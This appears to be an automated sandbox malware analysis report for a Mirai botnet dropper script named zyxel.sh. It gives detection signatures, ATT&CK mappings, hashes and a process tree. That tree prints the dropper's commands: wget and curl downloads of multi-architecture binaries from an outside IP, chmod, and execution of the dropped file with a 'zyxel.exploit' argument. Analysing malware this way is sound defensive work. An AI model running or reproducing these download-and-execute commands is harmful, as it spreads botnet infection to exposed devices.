mirai | 328337d8d4b3c09739ed40ab2b3061d75f6d52d5157d6216964df7a6a6796e2e

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/12/2024, 21:51

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General

Target

zyxel.sh
Size

2KB
MD5

a0199facb791d7850b52afacf2a2e128
SHA1

6624d420ab48c43e97ef21c64fa8516be2828edc
SHA256

328337d8d4b3c09739ed40ab2b3061d75f6d52d5157d6216964df7a6a6796e2e
SHA512

7f9dfacee20432d0296ab8ff58531dcf86ce2f0959a91d03038ae444499279a03f6224cc90341fb8e6c2a0efce63b0d2ecf07c4141ff61ee7699ed8d806c5fc6

Score

10^/10

mirai botnet botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (62958) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
861	chmod
867	chmod
873	chmod
740	chmod
855	chmod
765	chmod
822	chmod
879	chmod
750	chmod
756	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/Andrew	741	Andrew
/tmp/Andrew	751	Andrew
/tmp/Andrew	757	Andrew
/tmp/Andrew	766	Andrew
/tmp/Andrew	823	Andrew
/tmp/Andrew	856	Andrew
/tmp/Andrew	862	Andrew
/tmp/Andrew	868	Andrew
/tmp/Andrew	874	Andrew
/tmp/Andrew	880	Andrew

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-3.dat	upx
behavioral3/files/fstream-6.dat	upx
behavioral3/files/fstream-9.dat	upx
behavioral3/files/fstream-12.dat	upx
behavioral3/files/fstream-15.dat	upx
behavioral3/files/fstream-17.dat	upx
behavioral3/files/fstream-18.dat	upx
behavioral3/files/fstream-20.dat	upx
behavioral3/files/fstream-26.dat	upx
behavioral3/files/fstream-27.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	823	Andrew

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/�	Andrew
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
820	cat
768	wget
775	curl

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/i486	curl
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/Andrew	zyxel.sh
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/ppc	curl

/tmp/zyxel.sh
/tmp/zyxel.sh
1⤵
- Writes file to tmp directory
PID:714
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/cat
  cat i486
  2⤵
  PID:739
- /bin/chmod
  chmod +x Andrew i486 systemd-private-8dab41279bd042afa52c6381ac06676e-systemd-timedated.service-MBwBlq zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat x86
  2⤵
  PID:749
- /bin/chmod
  chmod +x Andrew i486 systemd-private-8dab41279bd042afa52c6381ac06676e-systemd-timedated.service-MBwBlq x86 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat i686
  2⤵
  PID:755
- /bin/chmod
  chmod +x Andrew i486 i686 systemd-private-8dab41279bd042afa52c6381ac06676e-systemd-timedated.service-MBwBlq x86 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:757
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/cat
  cat x86_64
  2⤵
  PID:764
- /bin/chmod
  chmod +x Andrew i486 i686 x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:820
- /bin/chmod
  chmod +x Andrew i486 i686 mips x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:823
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/cat
  cat mpsl
  2⤵
  PID:854
- /bin/chmod
  chmod +x Andrew i486 i686 mips mpsl x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:856
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:858
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/cat
  cat arm4
  2⤵
  PID:860
- /bin/chmod
  chmod +x Andrew arm4 i486 i686 mips mpsl x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:862
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/cat
  cat arm5
  2⤵
  PID:866
- /bin/chmod
  chmod +x Andrew arm4 arm5 i486 i686 mips mpsl x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:868
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:870
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/cat
  cat arm6
  2⤵
  PID:872
- /bin/chmod
  chmod +x Andrew arm4 arm5 arm6 i486 i686 mips mpsl x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:874
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm7
  2⤵
  - Writes file to tmp directory
  PID:876
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/cat
  cat arm7
  2⤵
  PID:878
- /bin/chmod
  chmod +x Andrew arm4 arm5 arm6 arm7 i486 i686 mips mpsl x86 x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/Andrew
  ./Andrew zyxel.exploit
  2⤵
  - Executes dropped EXE
  PID:880
- /usr/bin/wget
  wget http://37.114.41.90/bins/ppc
  2⤵
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Andrew

Filesize
50KB

MD5
d5af8f2bb8c7c3e39981ba0099fa1d1c

SHA1
f12212c88dddb3c0298987b917c55063f942df88

SHA256
fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9

SHA512
42b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e

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/tmp/arm4

Filesize
31KB

MD5
b09e32f241911f4ddac45a1a7a19ba49

SHA1
17a7f213570aaea7f66b9c38091c9485fa0ea510

SHA256
42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

SHA512
1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

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/tmp/arm5

Filesize
32KB

MD5
bf55d7061cedeb10e6a3839353dc6d8c

SHA1
34b773230a77570ef0c6fced5ab9f125996e4daf

SHA256
aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9

SHA512
555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e

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/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

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/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

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/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

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/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

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/tmp/ppc

Filesize
30KB

MD5
053488c4fc01a20ddb689a2212c33126

SHA1
1eff2d1947ee2d6481fdd2ab4b2a67fba3e18321

SHA256
0a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41

SHA512
32d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9

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/tmp/ppc

Filesize
20KB

MD5
6c5b7a81e48f2299755cd921b37d70e2

SHA1
d0ca23fb64d54e1ee306a4e5a8d608a7739906b4

SHA256
507c4c610411add6d2c17f32241f57d2fc798277960115b85076a589ddb89aae

SHA512
37e3a048065e0f652b91ec601a79f83698be6e2ec8de1883ec97b771b8528562f6013bb400db6dfdc51620d2c9a6fcfd21785657eb41bade43aae273ff537c40

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/tmp/x86

Filesize
28KB

MD5
54d07ade0004f03aaca028523d8f3eb6

SHA1
73606fc68439ea7ceb148f94d61dbe0235da8355

SHA256
d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

SHA512
43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

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/tmp/x86_64

Filesize
28KB

MD5
9cc970e0631afa61a049848f4f368b12

SHA1
54d7d99f436e9c97da5bfdd43698bb1dbd679b29

SHA256
681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

SHA512
9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e

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